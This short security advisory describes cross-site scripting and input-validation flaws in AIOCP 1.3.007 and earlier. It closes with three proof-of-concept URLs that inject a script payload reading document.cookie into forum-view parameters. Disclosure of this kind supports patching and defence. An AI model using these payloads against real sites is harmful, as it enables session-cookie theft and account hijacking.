source: http://www.securityfocus.com/bid/20931/info

All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=23&catid=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>